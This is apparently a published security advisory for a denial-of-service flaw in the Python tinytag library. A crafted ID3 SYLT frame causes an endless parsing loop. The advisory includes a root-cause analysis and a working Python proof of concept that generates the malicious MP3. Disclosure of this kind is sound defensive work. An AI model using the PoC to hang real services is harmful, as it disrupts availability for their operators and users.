id: PYSEC-2026-3386 published: "2026-07-13T14:36:43.859722Z" modified: "2026-07-13T16:07:18.118077Z" aliases: - CVE-2026-32889 - GHSA-f4rq-2259-hv29 summary: Denial of service via non-terminating SYLT frame parsing loop in tinytag details: "### Summary\n\n`tinytag` `2.2.0` allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 `SYLT` (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single `498`-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.\n\n### Details\n\nIn tag `2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`), the reachable call path is:\n\n- `TinyTag.get` in [`tinytag/tinytag.py#L144-L154`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L144-L154)\n- `_load` in [`tinytag/tinytag.py#L259-L266`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L259-L266)\n- `_parse_tag` and `_parse_id3v2` in [`tinytag/tinytag.py#L1059-L1092`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1059-L1092)\n- `_parse_frame` for `SYLT` / `SLT` in [`tinytag/tinytag.py#L1316-L1318`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1316-L1318)\n- `_parse_synced_lyrics` and `_find_string_end_pos` in [`tinytag/tinytag.py#L1219-L1248`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1219-L1248) and [`tinytag/tinytag.py#L1340-L1352`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1340-L1352)\n\nThe root cause is that `_parse_synced_lyrics` assumes `_find_string_end_pos` always returns a position greater than the current `offset`. That assumption is false when no string terminator is present in the remaining frame content.\n\nFor single-byte encodings, `_find_string_end_pos` does:\n\n```python\nreturn content.find(b'\\x00', start_pos) + 1\n```\n\nIf no terminator exists, `content.find(...)` returns `-1`, so the function returns `0`. `_parse_synced_lyrics` then does `offset = end_pos`, which resets `offset` to `0` inside:\n\n```python\nwhile offset < content_length:\n end_pos = self._find_string_end_pos(content, encoding, offset)\n value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\\n')\n offset = end_pos\n time = unpack('>I', content[offset:offset + 4])[0]\n```\n\nBecause `offset` is reset to `0`, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in `_find_string_end_pos` has the same shape: if no `b'\\x00\\x00'` terminator is found, it also returns `0`, so the same non-progress condition applies there.\n\n`SYLT` parsing support was introduced by commit [`4d649b9c314ada8ff8a74e0469e9aadb3acb252a`](https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a) (`ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)`), which first shipped in `2.2.0`. I confirmed that `2.1.2` does not contain `_parse_synced_lyrics`, so `2.2.0` is the only confirmed affected release at this time.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS `26.3` / Darwin `arm64`\n- Python `3.14.3`\n- Confirmed affected release: `tinytag 2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`)\n- Also reproduced on current `main` commit `1d23f6fe169c92c070a265f9108e295577141383`\n\n### PoC\n\nThe following self-contained PoC generates a malformed `SYLT` frame and passes it to `TinyTag.get`:\n\n```python\n#!/usr/bin/env python3\nimport signal\nimport struct\nimport time\nfrom io import BytesIO\n\nfrom tinytag import TinyTag\n\n\ndef create_malicious_mp3() -> bytes:\n id3_header = b\"ID3\" + bytes([3, 0, 0]) # ID3v2.3\n encoding = b\"\\x00\" # ISO-8859-1\n language = b\"eng\"\n timestamp_format = b\"\\x02\"\n content_type = b\"\\x01\"\n descriptor = b\"test\\x00\"\n lyrics_data = b\"A\" * 50 # no null terminator in the remaining SYLT payload\n frame_content = (\n encoding + language + timestamp_format + content_type + descriptor + lyrics_data\n )\n frame = b\"SYLT\" + struct.pack(\">I\", len(frame_content)) + b\"\\x00\\x00\" + frame_content\n\n tag_size = len(frame)\n synchsafe = bytearray(4)\n n = tag_size\n for i in range(3, -1, -1):\n synchsafe[i] = n & 0x7F\n n >>= 7\n\n return (\n id3_header\n + bytes(synchsafe)\n + frame\n + b\"\\xff\\xfb\\x90\\x00\"\n + b\"\\x00\" * 413\n )\n\n\ndef timeout_handler(signum, frame) -> None:\n print(\"CONFIRMED: parsing did not finish within 10.0s; external interruption was required\")\n raise SystemExit(1)\n\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(10)\nstart = time.time()\n\ntry:\n TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename=\"poc.mp3\")\n signal.alarm(0)\n print(f\"Unexpectedly completed in {time.time() - start:.3f}s\")\nexcept SystemExit:\n raise\nexcept Exception as exc:\n signal.alarm(0)\n print(f\"Unexpected exception before timeout: {type(exc).__name__}: {exc}\")\n```\n\nObserved output on `2.2.0` in the environment above:\n\n```text\nCONFIRMED: parsing did not finish within 10.0s; external interruption was required\n```\n\n### Impact\n\nAn attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.\n\nIn server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.\n\n### Patches\n\nFixed in the following commits:\n\n- https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402\n- https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a" affected: - package: name: tinytag ecosystem: PyPI purl: pkg:pypi/tinytag ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 2.2.1 versions: - 0.10.0 - 0.10.1 - 0.11.0 - 0.12.0 - 0.13.1 - 0.14.0 - 0.14.1 - 0.14.2 - 0.15.0 - 0.15.2 - 0.16.0 - 0.17.0 - 0.18.0 - 0.20.0 - 0.6.0 - 0.6.1 - 0.7.1 - 0.7.2 - 0.8.0 - 0.8.1 - 0.9.0 - 0.9.1 - 0.9.2 - 0.9.3 - 1.0.0 - 1.0.1 - 1.1.0 - 1.10.0 - 1.10.1 - 1.2.0 - 1.2.1 - 1.2.2 - 1.3.1 - 1.4.0 - 1.5.0 - 1.6.0 - 1.7.0 - 1.8.0 - 1.8.1 - 1.9.0 - 2.0.0 - 2.1.0 - 2.1.1 - 2.1.2 - 2.2.0 references: - type: WEB url: https://github.com/tinytag/tinytag/security/advisories/GHSA-f4rq-2259-hv29 - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-32889 - type: WEB url: https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a - type: WEB url: https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a - type: WEB url: https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402 - type: PACKAGE url: https://github.com/tinytag/tinytag - type: PACKAGE url: https://pypi.org/project/tinytag - type: ADVISORY url: https://github.com/advisories/GHSA-f4rq-2259-hv29 severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H